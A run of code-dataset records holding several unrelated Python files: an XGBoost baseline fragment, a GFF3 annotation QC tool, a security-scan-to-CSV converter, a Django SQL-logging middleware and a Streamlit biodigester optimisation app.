)\n\nmodel_A.fit(train_X, train_y)\na_preds = model_A.predict(test_X)\n\nsub_df = pd.DataFrame({\"card_id\":test_df[\"card_id\"].values})\nsub_df[\"target\"] = a_preds\nsub_df.to_csv(\"results/xgb.csv\", index=False)\n\n'''\nmodel.fit(X_train_A, y_train_A)\na_preds = model_A.predict_proba(X_test_A)\na_sub = make_country_sub(a_preds, X_test_A, 'A')\n'''\n#version 1\n\n# Initialize XGB and GridSearch\n'''\nxgb = XGBRegressor(nthread=-1) \n\ngrid = GridSearchCV(xgb, params, scoring=\"neg_mean_squared_error\")\ngrid.fit(train_X, train_y)\n\nprint(r2_score(Y_Val, grid.best_estimator_.predict(X_Val))) \n'''\n\n#version 2\n'''\ndef run_xgb(train_X, train_y, val_X, val_y, test_X):\n\tparams = {'min_child_weight':[4,5], 'gamma':[i/10.0 for i in range(3,6)], 'subsample':[i/10.0 for i in range(6,11)],\n'colsample_bytree':[i/10.0 for i in range(6,11)], 'max_depth': [2,3,4]}\n\tevals_result = {}\n\txgb = XGBRegressor(nthread=-1, silent=False)\n'''\n\n#version 3\n'''\npred_test = 0\nkf = model_selection.KFold(n_splits=5, random_state = 2018, shuffle=True)\nfor dev_index, val_index in kf.split(train_df):\n dev_X, val_X = train_X.loc[dev_index,:], train_X.loc[val_index,:]\n dev_y, val_y = train_y[dev_index], train_y[val_index]\n \n model.fit(dev_X, dev_y)\n model.predict\n pred_test_tmp, model, evals_result = run_lgb(dev_X, dev_y, val_X, val_y, test_X)\n pred_test += pred_test_tmp\n \npred_test/=5\n'''","sub_path":"models/baseline_xgb.py","file_name":"baseline_xgb.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"47177682","text":"#! /usr/local/bin/python2.7\n# Contributed by Mei-Ju May Chen (2015)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 3 of the License, or\n# (at your option) any later version.\n\nimport sys\nimport re\nimport logging\n# try to import from project first\nfrom os.path import dirname\nif dirname(__file__) == '':\n lib_path = '../lib'\nelse:\n lib_path = dirname(__file__) + '/../lib'\nsys.path.insert(1, lib_path)\nfrom gff3_modified import Gff3\nimport function4gff\nimport single_feature\nimport inter_model\nimport intra_model\nimport ERROR # Details of the errors that can be detected.\n\n__version__ = '0.0.1'\n\nif __name__ == '__main__':\n logger_stderr = logging.getLogger(__name__+'stderr')\n logger_stderr.setLevel(logging.INFO)\n stderr_handler = logging.StreamHandler()\n stderr_handler.setFormatter(logging.Formatter('%(levelname)-8s %(message)s'))\n logger_stderr.addHandler(stderr_handler)\n logger_null = logging.getLogger(__name__+'null')\n null_handler = logging.NullHandler()\n logger_null.addHandler(null_handler)\n import argparse\n from textwrap import dedent\n parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description=dedent(\"\"\"\\\n \n Testing environment:\n 1. Python 2.7\n\n Inputs:\n 1. GFF3: Specify the file name with the -g or --gff argument; Please note that this program requires gene/pseudogene and mRNA/pseudogenic_transcript to have an ID attribute in column 9.\n 2. fasta file: Specify the file name with the -f or --fasta argument\n\n Outputs:\n 1. Error report for the input GFF3 file\n\t* Line_num: Line numbers of the found problematic models in the input GFF3 file.\n\t* Error_code: Error codes for the found problematic models. Please refer to lib/ERROR/ERROR.py to see the full list of Error_code and the corresponding Error_tag.\n * Error_tag: Detail of the found errors for the problematic models. Please refer to lib/ERROR/ERROR.py to see the full list of Error_code and the corresponding Error_tag.\n\n Quick start:\n python2.7 bin/gff-QC.py -g example_file/example.gff3 -f example_file/reference.fa -o test\n or\n python2.7 bin/gff-QC.py --gff example_file/example.gff3 --fasta example_file/reference.fa --output test\n\n \"\"\"))\n parser.add_argument('-g', '--gff', type=str, help='Genome annotation file, gff3 format') \n parser.add_argument('-f', '--fasta', type=str, help='Genome sequences, fasta format')\n parser.add_argument('-o', '--output', type=str, help='output file name (default: report.txt)')\n parser.add_argument('-v', '--version', action='version', version='%(prog)s ' + __version__)\n \n args = parser.parse_args()\n\n if args.gff:\n logger_stderr.info('Checking gff file (%s)...', args.gff)\n elif not sys.stdin.isatty(): # if STDIN connected to pipe or file\n args.gff = sys.stdin\n logger_stderr.info('Reading from STDIN...')\n else: # no input\n parser.print_help()\n sys.exit(1)\n\n if args.fasta:\n logger_stderr.info('Checking genome fasta (%s)...', args.fasta)\n elif not sys.stdin.isatty(): # if STDIN connected to pipe or file\n args.fasta = sys.stdin\n logger_stderr.info('Reading from STDIN...')\n else: # no input\n parser.print_help()\n sys.exit(1)\n\n logger_stderr.info('Reading gff files: (%s)...\\n', args.gff)\n gff3 = Gff3(gff_file=args.gff, fasta_external=args.fasta, logger=logger_null)\n logger_stderr.info('Checking errors in the gff files: (%s)...\\n', args.gff)\n if not gff3.check_parent_boundary():\n sys.exit()\n\n gff3.check_unresolved_parents()\n gff3.check_phase()\n gff3.check_reference()\n logger_stderr.info('\\t- Checking missing attributes: (%s)...\\n', 'function4gff.FIX_MISSING_ATTR()')\n function4gff.FIX_MISSING_ATTR(gff3, logger=logger_stderr)\n\n error_set = list()\n cmd = None\n cmd = function4gff.extract_internal_detected_errors(gff3)\n if cmd:\n error_set.extend(cmd)\n cmd = None\n logger_stderr.info('\\t- Checking intra-model errors: (%s)...\\n', args.gff)\n cmd = intra_model.main(gff3, logger=logger_stderr)\n if cmd:\n error_set.extend(cmd)\n cmd = None\n logger_stderr.info('\\t- Checking inter-model errors: (%s)...\\n', args.gff)\n cmd = inter_model.main(gff3, args.gff, args.fasta, logger=logger_stderr)\n if cmd:\n error_set.extend(cmd)\n cmd = None\n logger_stderr.info('\\t- Checking single-feature errors: (%s)...\\n', args.gff)\n cmd = single_feature.main(gff3, logger=logger_stderr)\n if cmd:\n error_set.extend(cmd)\n\n if args.output:\n logger_stderr.info('Print QC report at {0:s}'.format(args.output))\n report_fh = open(args.output, 'wb')\n else:\n logger_stderr.info('Print QC report at {0:s}'.format('report.txt'))\n report_fh = open('report.txt', 'wb')\n\n\n ERROR_INFO = ERROR.INFO\n\n report_fh.write('Line_num\\tError_code\\tError_tag\\n')\n for e in sorted(error_set):\n tag = '[{0:s}]'.format(e['eTag'])\n report_fh.write('{0:s}\\t{1:s}\\t{2:s}\\n'.format(str(e['line_num']), str(e['eCode']), str(tag)))\n","sub_path":"bin/gff-QC.py","file_name":"gff-QC.py","file_ext":"py","file_size_in_byte":5272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"73966031","text":"import os\nimport re\nimport sys\nimport csv\n\ndef ACQ():\n compos = os.getenv('COMPUTERNAME')\n dir = os.getcwd()\n acq_path = os.path.join(dir, compos, \"Scuba\",\"ScubaCSV.csv\")\n return acq_path\n\ndef parse_file(file_content):\n acq_file = ACQ()\n test_pattern = \"'test': '(.*)',\"\n severity_pattern = \"'severity': '(.*)',\"\n regulations_pattern = r\"'regulations': \\[(.*?)\\],\"\n result_pattern = \"'result': '(.*)',\"\n category_pattern = \"'category': '(.*)',\"\n description_pattern = \"'description': '(.*)',\"\n remediation_pattern = \"'remediation': '(.*)',\"\n cveLink_pattern = \"'cveLink': '(.*)',\"\n details_pattern = \"'details': '(.*)',\"\n data_pattern = r\"'data': \\[(.*)\\],\"\n score_pattern = \"'score': '(.*)',\"\n test_result = re.findall(test_pattern, file_content)\n severity_result = re.findall(severity_pattern, file_content)\n regulations_result = re.findall(regulations_pattern, file_content)\n result_result = re.findall(result_pattern, file_content)\n category_result = re.findall(category_pattern, file_content)\n description_result = re.findall(description_pattern, file_content)\n remediation_result = re.findall(remediation_pattern, file_content)\n cveLink_result = re.findall(cveLink_pattern, file_content)\n details_result = re.findall(details_pattern, file_content)\n data_result = re.findall(data_pattern, file_content)\n score_result = re.findall(score_pattern, file_content)\n try:\n with open(acq_file, 'w', newline='') as csvfile:\n fieldnames = ['Test', 'Severity', 'Regulations', 'Result', 'Category', 'Description', 'Remediation', 'CVELink', 'Details', 'Data', 'Score']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n for i in range(len(test_result)):\n writer.writerow({'Test': test_result[i],\n 'Severity': severity_result[i],\n 'Regulations': regulations_result[i],\n 'Result': result_result[i],\n 'Category': category_result[i],\n 'Description': description_result[i],\n 'Remediation': remediation_result[i],\n 'CVELink': cveLink_result[i],\n 'Details': details_result[i],\n 'Data': data_result[i],\n 'Score': score_result[i]\n })\n except:\n print(\"Run script as administrator\")\n exit(1)\n\n\nif __name__ == \"__main__\":\n num_args = len(sys.argv)\n if num_args != 2:\n print(\"Usage: Scuba2CSV.py \")\n exit(1)\n file = open(sys.argv[1], \"r\")\n parse_file(file.read())\n","sub_path":"Scuba2CSV.py","file_name":"Scuba2CSV.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"364104632","text":"from django.db import connection\nfrom django.conf import settings\nimport os\n\n\ndef terminal_width():\n width = 0\n try:\n import struct, fcntl, termios\n s = struct.pack('HHHH', 0, 0, 0, 0)\n x = fcntl.ioctl(1, termios.TIOCGWINSZ, s)\n width = struct.unpack('HHHH', x)[1]\n except:\n pass\n if width <= 0:\n try:\n width = int(os.environ['COLUMNS'])\n except:\n pass\n if width <= 0:\n width = 80\n return width\n\n\nclass SQLLoggerMiddleware(object):\n def __init__(self, get_response):\n self.get_response = get_response\n\n def __call__(self, request):\n response = self.get_response(request)\n\n indentation = 2\n if len(connection.queries) > 0 and settings.DEBUG:\n width = terminal_width()\n total_time = 0.0\n for query in connection.queries:\n nice_sql = query['sql'].replace('\"', '').replace(',', ', ')\n sql = \"\\033[1;31m[%s]\\033[0m %s\" % (query['time'], nice_sql)\n total_time = total_time + float(query['time'])\n while len(sql) > width - indentation:\n print(\"%s%s\" % (\" \" * indentation, sql[:width - indentation]))\n sql = sql[width - indentation:]\n print(\"%s%s\\n\" % (\" \" * indentation, sql))\n replace_tuple = (\" \" * indentation, str(total_time))\n print(\"%s\\033[1;32m[TOTAL TIME: %s seconds]\\033[0m\" % replace_tuple)\n return response","sub_path":"SSOServer/auth/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"575967078","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 30 14:54:35 2021\n\n@author: Ricardo Hopker\n\"\"\"\n\nimport streamlit as st\nimport streamlit.components.v1 as components\nimport base64\n# To make things easier later, we're also importing numpy and pandas for\n# working with sample data.\n# import numpy as np\nimport pandas as pd\nfrom constants import dict_total\n# import dill\nimport matplotlib.pyplot as plt\nimport pydeck as pdk\nfrom integrating_modules import biodigestor, cleanXopt,cleanBiodigestor,fminClean\nfrom multiJ import run_multiJ,plotRes,run_singleJ\nfrom all_best_paths_transport import createTransportSurrogateModel\n# import scipy.optimize as op\n# from Transport import load_data\nimport copy\nimport SessionState\n# import json\ndef load_session():\n session_state = SessionState.get(e_priceS=dict_total['e_priceS'],\n e_c=dict_total['e_c'],\n e_priceB=dict_total['e_priceB'],\n f_used=dict_total['f_used'],\n p_bf = dict_total['p_bf'],\n p_l = dict_total['p_l'],\n c_rskm = dict_total['c_rskm'],\n C_V_gas = dict_total['C_V_gas'],\n p_g = dict_total['p_g'],\n C_upgrade_cng = dict_total['C_upgrade_cng'],\n g_d = dict_total['g_d'],\n g_eff = dict_total['g_eff'],\n g_m = dict_total['g_m'],\n i_main_cost = dict_total['i_main_cost'],\n kd = dict_total['kd'],\n max_debt = dict_total['max_debt'],\n ke = dict_total['ke'],\n L = dict_total['L'],\n T_m3_km_cng = dict_total['T_m3_km_cng'],\n T_L_km_diesel = dict_total['T_L_km_diesel'],\n V_per_truck = dict_total['V_per_truck'],\n tax = dict_total['tax'],\n USS_to_RS = dict_total['USS_to_RS'],\n working_days = dict_total['working_days'],\n working_hours = dict_total['working_hours'],\n g_power = dict_total['g_power'],\n V_gBurn = 0.7,\n ng = 1,\n debt_level = 0.5,\n V_cng_p =0.20,\n farm1 = 1,farm2 = 0,farm3 =0,farm4 = 0,farm5 = 0,farm6 = 0,farm7 = 0,\n ng_max = dict_total['ng_max'],\n NSGA_pop = dict_total['NSGA_pop'],\n NSGA_gen = dict_total['NSGA_gen'],\n NSGA_off = dict_total['NSGA_off'],\n dict_T = dict_total['dict_T'],\n Farm_data = dict_total['Farm_data'],\n GA_pop = dict_total['GA_pop'],\n GA_gen = dict_total['GA_gen'],\n GA_off = dict_total['GA_off'],\n truck_gwp_emmited = dict_total['truck_gwp_emmited'],\n lam = float(dict_total['lam'])\n )\n return session_state\ndef update_user_dict():\n dict_totalUser = copy.deepcopy(dict_total)\n session_state = load_session()\n dict_totalUser['e_priceS'] = session_state.e_priceS\n dict_totalUser['e_c'] = session_state.e_c\n dict_totalUser['e_priceB'] = session_state.e_priceB\n dict_totalUser['f_used'] = session_state.f_used\n dict_totalUser['p_bf'] = session_state.p_bf\n dict_totalUser['p_l'] = session_state.p_l\n dict_totalUser['c_rskm'] = session_state.c_rskm\n session_state.c_km = session_state.c_rskm\n dict_totalUser['C_V_gas'] = session_state.C_V_gas\n dict_totalUser['p_g'] = session_state.p_g\n dict_totalUser['C_upgrade_cng'] = session_state.C_upgrade_cng\n dict_totalUser['g_d'] = session_state.g_d\n dict_totalUser['g_eff'] = session_state.g_eff\n dict_totalUser['g_m']= session_state.g_m\n dict_totalUser['i_main_cost'] = session_state.i_main_cost\n dict_totalUser['kd'] = session_state.kd\n dict_totalUser['max_debt'] = session_state.max_debt\n dict_totalUser['ke'] = session_state.ke\n dict_totalUser['L'] = session_state.L\n dict_totalUser['T_m3_km_cng'] = session_state.T_m3_km_cng\n dict_totalUser['T_L_km_diesel'] = session_state.T_L_km_diesel\n dict_totalUser['V_per_truck'] = session_state.V_per_truck\n dict_totalUser['tax'] = session_state.tax\n dict_totalUser['USS_to_RS'] = session_state.USS_to_RS\n dict_totalUser['working_days'] = session_state.working_days\n dict_totalUser['working_hours'] = session_state.working_hours\n dict_totalUser['g_power'] = session_state.g_power\n dict_totalUser['ng_max'] = session_state.ng_max\n dict_totalUser['NSGA_pop'] = session_state.NSGA_pop\n dict_totalUser['NSGA_gen'] = session_state.NSGA_gen\n dict_totalUser['NSGA_off'] = session_state.NSGA_off\n dict_totalUser['dict_T'] = session_state.dict_T\n dict_totalUser['Farm_data'] = session_state.Farm_data\n dict_totalUser['GA_pop'] = session_state.GA_pop\n dict_totalUser['GA_gen'] = session_state.GA_gen\n dict_totalUser['GA_off'] = session_state.GA_off\n dict_totalUser['lam'] = session_state.lam\n dict_total['truck_gwp_emmited'] = session_state.truck_gwp_emmited\n return dict_totalUser\n \ndef main():\n pages ={\"Main\":page1,\"Parameters\":page2,'Transportation':pageTransport,\"Model Explanation\":page3}\n page = st.sidebar.selectbox(\"Select your page\", tuple(pages.keys()))\n # session_state = load_session()\n pages[page]()\ndef page1():\n session_state = load_session()\n # data = pd.read_csv('location_data.csv', header=None)\n # data = data.rename(columns={0:'lat',1:'lon',2:'Volume',3:'Solid Percentage',4:'Cattle',5:'Swine',6:'Poultry'}) \n # data['id'] = list(range(len(data)))\n # data['id+1'] = list(range(1,len(data)+1))\n\n def plotMultiJ(res,dict_totalUser):\n var = plotRes(res,False,dict_totalUser)\n return var\n \n \n dict_totalUser = update_user_dict()\n dict_T = dict_totalUser['dict_T']\n Farm_data = dict_totalUser['Farm_data']\n data = pd.DataFrame(Farm_data)\n data = data.transpose()\n data = data.rename(columns={0:'lat',1:'lon',2:'Volume',3:'Solid Percentage',4:'Cattle',5:'Swine',6:'Poultry'})\n data['id'] = list(range(len(data)))\n data['id+1'] = list(range(1,len(data)+1))\n st.title('Biodigestor 2021 EM.428 MIT')\n st.header('Ricardo Hopker, Niek van Rensburg, Jacqueline Baidoo and ByeongJo Kong')\n st.write(\"\")\n st.subheader(\"Inputs:\")\n #[V_gBurn,ng,Tdig,debt_level,V_cng_p,farm1,farm2,farm3,farm4,farm5,farm6,farm7]\n session_state.V_gBurn = st.number_input('Volume of Gas burn as % of biogas produced',0.0,1.0,value = session_state.V_gBurn)\n session_state.ng = st.number_input('Number of Eletricity Generators',1,value = session_state.ng)\n # Tdig = st.number_input('Temperature of the digestor (C°): ',value = 37)\n session_state.debt_level = st.number_input('Debt level of the project',0.0,1.0,value = session_state.debt_level)\n session_state.V_cng_p = st.number_input('Volume of Gas upgraded to biodiesel for manure transportation: ',0.0,1.0,value = session_state.V_cng_p)\n session_state.farm1 = st.number_input('is farm 1 active: ',0,1,value = session_state.farm1)\n session_state.farm2 = st.number_input('is farm 2 active: ',0,1,value = session_state.farm2)\n session_state.farm3 = st.number_input('is farm 3 active: ',0,1,value = session_state.farm3)\n session_state.farm4 = st.number_input('is farm 4 active: ',0,1,value = session_state.farm4)\n session_state.farm5 = st.number_input('is farm 5 active: ',0,1,value = session_state.farm5)\n session_state.farm6 = st.number_input('is farm 6 active: ',0,1,value = session_state.farm6)\n session_state.farm7 = st.number_input('is farm 7 active: ',0,1,value = session_state.farm7)\n session_state.lam = st.number_input('Multi-objective (1 full NPV, 0 full emissions): ',0.0,1.0,value = float(session_state.lam))\n dict_totalUser['lam'] = session_state.lam\n x = [session_state.V_gBurn,session_state.ng,session_state.debt_level,\n session_state.V_cng_p,session_state.farm1,session_state.farm2,\n session_state.farm3,session_state.farm4,session_state.farm5,\n session_state.farm6,session_state.farm7]\n st.write('objective function value:')\n st.write(-biodigestor(cleanXopt(x,dict_totalUser),dict_totalUser,session_state.lam,True,False))\n active_farms= x[4:11] \n active_farms = [False if num<1 or num==False else True for num in active_farms]\n if st.checkbox('Optimize with lamda above'):\n \n # print(dict_totalUser['e_priceS'])\n \n args = (dict_totalUser,session_state.lam,True,False,False,True)\n # xopt = fminClean(x,args)\n res = run_singleJ(dict_totalUser)\n xopt = res.X\n xoptSer = pd.DataFrame(pd.Series(cleanXopt(xopt,dict_totalUser),index=['V_gBurn','ng','debt_level','V_cng_p','farm1','farm2','farm3','farm4','farm5','farm6','farm7'])).transpose()\n st.write('Best X')\n st.write(xoptSer.style.format({'V_gBurn':\"{:.2}\",'debt_level':\"{:.2}\",'V_cng_p':\"{:.2}\"}))\n # print(cleanXopt(xopt))\n st.write('Best Obj')\n st.write(-cleanBiodigestor(xopt,dict_totalUser,session_state.lam,True,False,False,True))\n \n @st.cache()\n def load_tradespace_func():\n df,F,annot = plotMultiJ(run_multiJ(dict_totalUser),dict_totalUser)\n return df,F,annot\n \n if st.checkbox('View multiobjective tradespace'):\n st.write('multiobjective tradespace:')\n df,F,annot = load_tradespace_func()\n fig,ax = plt.subplots()\n ax.scatter(df['NPV'],df['gwp'],s=20,c='r')\n ax.set_xlabel('NPV')\n ax.set_ylabel('gwp')\n ax.plot(df['NPV'],df['gwp'],c='r',lw=1)\n \n ax.scatter(annot[0],annot[1],marker='*',c='y',s=120)\n ax.scatter(F[0],F[1],c='b',s=0.5,)\n if ax.get_xlim()[0]<-3e6:\n \n ax.set_xlim([min(df['NPV'])-1000,annot[0]+1000])\n colDict = {}\n colnames = ['V_gBurn','ng','debt_level','V_cng_p','farm1','farm2','farm3','farm4','farm5','farm6','farm7'] \n for j in range(11):\n colDict[j]=colnames[j]\n df = df.rename(columns=colDict)\n st.write(fig)\n st.write('Pareto front vectors: ',df.style.format({'gwp':\"{:.2}\",'NPV':\"{:.2}\",'V_gBurn':\"{:.2}\",'debt_level':\"{:.2}\",'V_cng_p':\"{:.2}\"}))\n \n \n # wasteData\n map_data = data[['lat','lon']]\n # map_data\n # st.map(map_data)\n \n \n \n \n view_state = pdk.ViewState(\n longitude=map_data.mean()['lon'], latitude= map_data.mean()['lat'], zoom=8.5, min_zoom=5, max_zoom=15, pitch=0, bearing=-27.36)\n @st.cache()\n def active_farmsfun(tf,compare = None):\n active_farms1= x[4:11] \n active_farms1 = [0 if num<1 or num==False else 1 for num in active_farms1]\n active_farms= x[4:11] \n active_farms = [False if num<1 or num==False else True for num in active_farms]\n [distance, wIn, total_solids_perc, wComp,Tpath] = dict_T[tuple(active_farms1)]\n count = 0\n count_id =0\n if tf:\n compare = Tpath[0]\n for i in active_farms1:\n if i ==1:\n if count == compare:\n dig_id=count_id\n count = count +1\n count_id = count_id+1\n \n \n layer_active = pdk.Layer(\n \"ScatterplotLayer\",\n data[active_farms],\n get_position=['lon', 'lat'],\n auto_highlight=True,\n get_radius=1000,\n get_fill_color=['id == ' + str(dig_id)+' ? 255 : 0', 0, 0, 255],\n # get_fill_color=[0, 0, 0, 255],\n # elevation_scale=50,\n pickable=True,\n get_weight = 'Volume > 0 ? Volume : 0',\n extruded=True,\n coverage=1,\n )\n r_active = pdk.Deck(\n map_style=\"mapbox://styles/mapbox/light-v9\",\n layers=[layer_active],\n initial_view_state=view_state,\n tooltip={\"html\": \"Manure Volume: {Volume}
Farm: {id+1}\", \"style\": {\"color\": \"white\"}},\n )\n \n return r_active,Tpath\n @st.cache()\n def load_r_path(Tpath):\n r = []\n for i in Tpath:\n r_new,Tpath2 = active_farmsfun(False,i)\n r.append(r_new)\n return r\n if st.checkbox('View active farms'):\n st.write('Active farms: in red digestor location')\n r_active,Tpath = active_farmsfun(True)\n # print(Tpath)\n st.pydeck_chart(r_active)\n if st.checkbox('View manure transport path for active farms'):\n active_farms1= x[4:11] \n active_farms1 = [0 if num<1 or num==False else 1 for num in active_farms1]\n active_farms= x[4:11] \n active_farms = [False if num<1 or num==False else True for num in active_farms]\n [distance, wIn, total_solids_perc, wComp,Tpath] = dict_T[tuple(active_farms1)]\n r = load_r_path(Tpath)\n st.write('Active farms: current truck location in red')\n curr_step = st.slider('Step',0,int(len(Tpath)-1),value =0, step = 1)\n \n # r_active,Tpath = active_farmsfun(False,Tpath[curr_step])\n # print(Tpath)\n st.pydeck_chart(r[curr_step])\n @st.cache()\n def show_farmsfun():\n layer_farms = pdk.Layer(\n \"ScatterplotLayer\",\n data,\n get_position=['lon', 'lat'],\n auto_highlight=True,\n get_radius=1000,\n get_fill_color=['id * 42.5', 'id * 42.5', 0, 255],\n # get_fill_color=[0, 0, 0, 255],\n # elevation_scale=50,\n pickable=True,\n # elevation_range=[0, 3000],\n extruded=True,\n coverage=1,\n )\n r = pdk.Deck(\n map_style=\"mapbox://styles/mapbox/light-v9\",\n layers=[layer_farms],\n initial_view_state=view_state,\n tooltip={\"html\": \"Manure Volume: {Volume}
Farm: {id+1}\", \"style\": {\"color\": \"white\"}},\n )\n return r\n if st.checkbox('Show farm locations'):\n st.write('Farms:')\n r = show_farmsfun()\n st.pydeck_chart(r)\n \n @st.cache() \n def farm_heatmapFunc():\n active_farms1= x[4:11] \n active_farms1 = [0 if num<1 or num==False else 1 for num in active_farms]\n [distance, wIn, total_solids_perc, wComp,Tpath] = dict_T[tuple(active_farms1)]\n dig_id=Tpath[0]\n layer_heat = pdk.Layer(\n \"HeatmapLayer\",\n data,\n get_position=['lon', 'lat'],\n auto_highlight=True,\n get_radius=1000,\n get_fill_color=['lon==' + str(map_data['lon'].iloc[dig_id])+' ? 255 : 0', 0, 0, 255],\n # elevation_scale=50,\n pickable=True,\n elevation_range=[0, 3000],\n get_weight = 'Volume > 0 ? Volume : 0',\n extruded=True,\n coverage=1,\n )\n r = pdk.Deck(\n map_style=\"mapbox://styles/mapbox/light-v9\",\n layers=[layer_heat],\n initial_view_state=view_state,\n tooltip={\"html\": \"Manure Volume: {Volume}
Farm: {id+1}\", \"style\": {\"color\": \"white\"}},\n )\n return r\n \n if st.checkbox('Show farm heatmaps'):\n st.write('Manure volume heatmap:')\n r = farm_heatmapFunc()\n st.pydeck_chart(r)\ndef page2():\n session_state = load_session()\n st.title('Parameters: ')\n st.write('Electrical Energy: ')\n session_state.e_priceS = st.number_input('Price of electrical energy sold (R$/kWh): ',0.0,value = session_state.e_priceS)\n session_state.e_c = st.number_input('Electrical energy consumed in the farms (kWh/year): ',0.0,value = session_state.e_c)\n session_state.e_priceB = st.number_input('Price of electrical energy bought (R$/kWh): ',0.0,value = session_state.e_priceB)\n st.write('Fertilizer: ')\n session_state.f_used = st.number_input('Quantity of fertilizer used in the farms (kg/year): ',0.0,value = session_state.f_used)\n session_state.p_bf = st.number_input('Price of buying fertilizer used in the farms (R$/kg): ',0.0,value = session_state.p_bf)\n session_state.p_l = st.number_input('Selling price of fertilizer surplus (R$/kg): ',0.0,value = session_state.p_l)\n st.write('Transportation: ')\n session_state.c_rskm = st.number_input('Cost to transport manure (R$/km): ',0.0,value = session_state.c_rskm )\n session_state.c_km = session_state.c_rskm\n session_state.T_m3_km_cng = st.number_input('Truck average CNG consumption (m^3/km): ',0.0,value = session_state.T_m3_km_cng)\n session_state.T_L_km_diesel = st.number_input('Truck average diesel consumption (L/km): ',0.0,value = session_state.T_L_km_diesel)\n session_state.V_per_truck = st.number_input('Truck maximum capacity (m^3): ',0.0,value = session_state.V_per_truck)\n session_state.truck_gwp_emmited = st.number_input('Truck emission CO2 (kgCO2/km): ',0.0,value = session_state.truck_gwp_emmited)\n st.write('Biogas: ')\n session_state.C_V_gas = st.number_input('Cost to produce biogas (R$/m^3): ',0.0,value = session_state.C_V_gas)\n session_state.p_g = st.number_input('Selling price of biogas (R$/m^3): ',0.0,value = session_state.p_g)\n session_state.C_upgrade_cng = st.number_input('Cost to upgrade biogas to CNG (R$/m^3): ',0.0,value = session_state.C_upgrade_cng)\n st.write('Generator: ')\n session_state.g_d = st.number_input('Cost purchase eletricity generator (R$/unit): ',0.0,value = session_state.g_d)\n session_state.g_eff = st.number_input('Eletricity generator efficiency with biogas (%): ',0.0,1.0,value = session_state.g_eff)\n session_state.g_power = st.number_input('Eletricity generator power capacity (kW): ',0.0,value = session_state.g_power)\n session_state.g_m = st.number_input('Yealy cost of maintenance of eletricity generator (R$/(unit*year)): ',0.0,value = session_state.g_m)\n session_state.ng_max = st.number_input('Maximum number of generators (units): ',0,value = session_state.ng_max)\n st.write('Biodigestor: ')\n session_state.i_main_cost = st.number_input('Yealy cost of maintenance of biodigestor (% of investment/year): ',0.0,1.0,value = session_state.i_main_cost)\n session_state.L = st.number_input('Biodigestor life (years): ',0,value = session_state.L)\n st.write('Financial: ')\n session_state.kd = st.number_input('Cost of debt (%): ',0.0,value = session_state.kd)\n session_state.max_debt = st.number_input('Maximum debt allowed (%): ',0.0,1.0,value = session_state.max_debt)\n session_state.ke = st.number_input('Cost of equity (%): ',0.0,value = session_state.ke)\n session_state.tax = st.number_input('Tax on profits (%): ',0.0,1.0,value = session_state.tax)\n session_state.USS_to_RS = st.number_input('Corversion of US$ to R$ (R$/US$): ',0.0,value = session_state.USS_to_RS)\n session_state.working_days = st.number_input('Working days per year (days/year): ',0,365,value = session_state.working_days)\n session_state.working_hours = st.number_input('Working hours per day (hours/day): ',0,24,value = session_state.working_hours)\n st.write('Tradespace GA settings: ')\n session_state.NSGA_pop = st.number_input('GA population size (#): ',0,value = session_state.NSGA_pop)\n session_state.NSGA_gen = st.number_input('GA number of generations (#): ',0,value = session_state.NSGA_gen)\n session_state.NSGA_off = st.number_input('GA population offsprings (#/iteration): ',0,value = session_state.NSGA_off)\n st.write('Optimizer GA settings: ')\n session_state.GA_pop = st.number_input('Single objective GA population size (#): ',0,value = session_state.GA_pop)\n session_state.GA_gen = st.number_input('Single objective GA number of generations (#): ',0,value = session_state.GA_gen)\n session_state.GA_off = st.number_input('Single objective GA population offsprings (#/iteration): ',0,value = session_state.GA_off)\n\n\ndef pageTransport():\n session_state = load_session()\n st.title('Transportation Module: ')\n st.subheader('Do not forget to save your changes in the end of the page')\n # dict_T = session_state.dict_T\n Farm_data = copy.deepcopy(session_state.Farm_data)\n st.write('Farm 1: ')\n Farm_data['Farm_1'][0] = st.number_input('Farm 1 Latitude : ',-90.0,90.0,value = Farm_data['Farm_1'][0],format='%f')\n Farm_data['Farm_1'][1] = st.number_input('Farm 1 Longitude : ',-180.0,180.0,value = Farm_data['Farm_1'][1],format='%f')\n Farm_data['Farm_1'][2] = st.number_input('Farm 1 Manure volume (m^3): ',-180.0,180.0,value = Farm_data['Farm_1'][2])\n Farm_data['Farm_1'][3] = st.number_input('Farm 1 Manure Solid percentage (%): ',0.0,1.0,value = Farm_data['Farm_1'][3])\n Farm_data['Farm_1'][4] = st.number_input('Farm 1 Cattle Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_1'][4])\n Farm_data['Farm_1'][5] = st.number_input('Farm 1 Swine Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_1'][5])\n Farm_data['Farm_1'][6] = st.number_input('Farm 1 Poultry Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_1'][6])\n \n st.write('Farm 2: ')\n Farm_data['Farm_2'][0] = st.number_input('Farm 2 Latitude : ',-90.0,90.0,value = Farm_data['Farm_2'][0],format='%f')\n Farm_data['Farm_2'][1] = st.number_input('Farm 2 Longitude : ',-180.0,180.0,value = Farm_data['Farm_2'][1],format='%f')\n Farm_data['Farm_2'][2] = st.number_input('Farm 2 Manure volume (m^3): ',-180.0,180.0,value = Farm_data['Farm_2'][2])\n Farm_data['Farm_2'][3] = st.number_input('Farm 2 Manure Solid percentage (%): ',0.0,1.0,value = Farm_data['Farm_2'][3])\n Farm_data['Farm_2'][4] = st.number_input('Farm 2 Cattle Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_2'][4])\n Farm_data['Farm_2'][5] = st.number_input('Farm 2 Swine Manure percentage (%): ',0.0,1.0,value = Farm_data['Farm_2'][5])\n Farm_data['Farm_2'][6] = st.number_input('Farm 2 Poultry Manure percentage (%): 